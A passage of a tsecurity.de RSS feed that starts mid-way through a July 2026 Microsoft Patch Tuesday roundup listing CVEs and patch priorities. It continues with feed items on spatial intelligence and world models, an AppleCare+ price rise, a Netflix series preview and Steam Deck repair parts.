<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[release-publish/0e9db600595-20260717]]></title>
<description><![CDATA[release tooling for v2026.7.2-beta.2 active-state repair]]></description>
<link>https://tsecurity.de/de/3675101/downloads/release-publish0e9db600595-20260717/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675101/downloads/release-publish0e9db600595-20260717/</guid>
<pubDate>Fri, 17 Jul 2026 07:17:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>release tooling for v2026.7.2-beta.2 active-state repair</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[release-publish/0e9db6005954-20260717]]></title>
<description><![CDATA[release tooling for v2026.7.2-beta.2 active-state repair]]></description>
<link>https://tsecurity.de/de/3675100/downloads/release-publish0e9db6005954-20260717/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675100/downloads/release-publish0e9db6005954-20260717/</guid>
<pubDate>Fri, 17 Jul 2026 07:17:20 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>release tooling for v2026.7.2-beta.2 active-state repair</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[release-publish/d8b3e1c093f2-20260715]]></title>
<description><![CDATA[release tooling for v2026.7.2-beta.1 complete evidence repair]]></description>
<link>https://tsecurity.de/de/3671768/downloads/release-publishd8b3e1c093f2-20260715/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671768/downloads/release-publishd8b3e1c093f2-20260715/</guid>
<pubDate>Wed, 15 Jul 2026 22:01:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>release tooling for v2026.7.2-beta.1 complete evidence repair</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple bumps monthly AppleCare+ for iPad, Mac by 50 cents]]></title>
<description><![CDATA[Apple has marginally increased the cost of its individual AppleCare+ subscription, costing consumers an extra 50 cents per month to protect their Mac or iPad.AppleCare+ logoJust like any other subscription, warranty and repair services often go up in price over time. On July 15, Apple did just th...]]></description>
<link>https://tsecurity.de/de/3671741/ios-mac-os/apple-bumps-monthly-applecare-for-ipad-mac-by-50-cents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671741/ios-mac-os/apple-bumps-monthly-applecare-for-ipad-mac-by-50-cents/</guid>
<pubDate>Wed, 15 Jul 2026 21:36:55 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has marginally increased the cost of its individual <a href="https://appleinsider.com/inside/applecare" title="AppleCare" data-kpt="1">AppleCare+</a> subscription, costing consumers an extra 50 cents per month to protect their Mac or iPad.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68262-143895-62528-129642-applecareplus-xl-xl.jpg" alt="AppleCare Plus logo with a red Apple icon centered above the word AppleCare+ on a white rounded square, set against a soft blue gradient background" height="738"><br><span>AppleCare+ logo</span></div><br>Just like any other subscription, warranty and repair services often go up in price over time. On July 15, Apple did just that to AppleCare+.<br><br>The price for the monthly AppleCare+ packages increased by 50 cents per month, or $5 per year for the annual plan, <a href="https://www.bloomberg.com/news/articles/2026-07-15/apple-boosts-applecare-monthly-prices-by-50-cents-in-latest-increase">reports</a> <em>Bloomberg</em>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/15/apple-bumps-monthly-applecare-for-ipad-mac-by-50-cents?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244968?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘My Life With the Walter Boys’ Season 3 Trailer, Poster and First Look Reveal]]></title>
<description><![CDATA[Netflix has released a new poster, official trailer, and fresh first-look images for My Life With the Walter Boys Season 3 ahead of its August 2026 premiere.



The popular teen drama returns to Silver Falls on August 6, 2026. The new season will continue Jackie Howard’s complicated relationship ...]]></description>
<link>https://tsecurity.de/de/3671522/ios-mac-os/my-life-with-the-walter-boys-season-3-trailer-poster-and-first-look-reveal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671522/ios-mac-os/my-life-with-the-walter-boys-season-3-trailer-poster-and-first-look-reveal/</guid>
<pubDate>Wed, 15 Jul 2026 19:40:11 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has released a new poster, official trailer, and fresh first-look images for My Life With the Walter Boys Season 3 ahead of its August 2026 premiere.



The popular teen drama returns to Silver Falls on August 6, 2026. The new season will continue Jackie Howard’s complicated relationship with brothers Cole and Alex while the Walter family deals with the medical emergency that ended Season 2.




Release date: August 6, 2026



Streaming platform: Netflix



Genre: Teen drama and romance



Number of episodes: 10



Main cast: Nikki Rodriguez, Noah LaLonde, Ashby Gentry, Sarah Rafferty, Marc Blucas, Connor Stanhope, and Jaylan Evans



New cast members: Chad Rook, Naveen Paddock, and Erin Karpluk




Netflix has also renewed the show for Season 4, which is expected to arrive sometime in 2027.



The trailer returns to the Season 2 cliffhanger




https://youtu.be/_nneiDtbdbk?si=p3PcR6heHbMZRqb1




Spoilers ahead for the Season 2 finale.



Season 2 ended shortly after Jackie and Cole finally admitted that they loved each other. Alex overheard the confession, creating another painful moment between the brothers.



However, their romantic problems were interrupted when an ambulance arrived for George Walter following a serious health emergency. The Season 3 trailer confirms that George survives, although his condition will continue to affect the family during the new episodes.



The trailer shows Jackie struggling with guilt while trying to support the Walters. George encourages her to stop blaming herself and begin living her life again. Jackie must also decide what she truly wants instead of continuing to move between Alex and Cole.



Jackie, Cole, and Alex face the consequences







The new footage makes it clear that Jackie’s feelings for Cole have not disappeared. They exchange tense looks at school, spend time together at the Walter house, and continue trying to understand what their confession means.



At the same time, Alex appears to be focusing on his growing rodeo career. His success brings more attention, pressure, and confidence, which could change the balance between the three main characters. Cole also finds a new direction when he enters the world of car racing after losing the football future he once expected.



The brothers may begin repairing their damaged relationship as the family comes together around George. First-look images show Cole and Alex speaking to each other, although the situation involving Jackie remains difficult.



New characters arrive in Silver Falls



Chad Rook joins the cast as Mac, a drag racer who notices Cole’s natural ability behind the wheel. Naveen Paddock plays Eliot, Uncle Richard’s charming New York intern, whose arrival could remind Jackie of the life she left behind.



Erin Karpluk will appear as Hannah, George’s free-spirited sister and the mother of Isaac and Lee. Her unexpected return will force the family to revisit old conflicts and unanswered questions.



My Life With the Walter Boys Season 3 arrives on Netflix on August 6. Do you think Jackie will finally choose Cole or try to repair her relationship with Alex? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Valve appears to be discontinuing self-repair parts for the LCD Steam Deck at iFixit]]></title>
<description><![CDATA[An iFixit staffer told a Steam Deck user that the company had no plans to stock replacement OEM batteries.]]></description>
<link>https://tsecurity.de/de/3671340/it-nachrichten/valve-appears-to-be-discontinuing-self-repair-parts-for-the-lcd-steam-deck-at-ifixit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671340/it-nachrichten/valve-appears-to-be-discontinuing-self-repair-parts-for-the-lcd-steam-deck-at-ifixit/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An iFixit staffer told a Steam Deck user that the company had no plans to stock replacement OEM batteries.]]></content:encoded>
</item>
<item>
<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



